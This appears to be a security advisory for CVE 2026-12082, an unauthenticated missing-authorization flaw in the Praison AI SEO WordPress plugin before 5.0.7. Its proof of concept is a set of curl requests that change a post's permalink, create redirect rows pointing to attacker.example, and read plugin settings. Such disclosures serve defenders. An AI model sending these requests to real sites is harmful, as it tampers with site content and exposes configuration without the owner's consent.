Praison AI SEO < 5.0.7 – Unauthenticated Multiple Missing Authorization (Post Permalink Modification, Plugin Settings Disclosure) | CVE 2026-12082

Description

The plugin does not perform authorization checks on several of its REST API routes, allowing unauthenticated users to modify the permalink of any published post and to read plugin configuration data.

Proof of Concept

# Stock WordPress + Praison AI SEO 5.0.6 active. No authentication, cookies, or nonce in any request below.

# (A) Unauthenticated post permalink modification (reaches core post data).
# Given a published post (id 5) with a stopword-containing/long slug,
# e.g. "how-to-optimize-the-best-of-wordpress":
curl -s -X POST "https://victim.example/wp-json/aiseo/v1/permalink/optimize" \
  -H "Content-Type: application/json" --data '{"post_id":5,"apply":1}'
# -> {"success":true,"data":{"original":"how-to-optimize-the-best-of-wordpress",
#     "optimized":"how-optimize-best-wordpress","applied":true}}
# The post slug is changed (the attacker chooses which post, not the resulting slug).
# WordPress core then 301-redirects the old URL to the new slug.

# (B) Unauthenticated redirect row create + read-back (plugin data).
# Note: in 5.0.6 the redirect engine is not hooked for front-end requests,
# so the stored rows do not actually redirect visitors.
curl -s -X POST "https://victim.example/wp-json/aiseo/v1/redirects/create" \
  -H "Content-Type: application/json" \
  --data '{"source":"/promo","target":"https://attacker.example/x","type":"301"}'
curl -s "https://victim.example/wp-json/aiseo/v1/redirects/list"

# (C) Unauthenticated plugin settings disclosure
curl -s "https://victim.example/wp-json/aiseo/v1/analytics"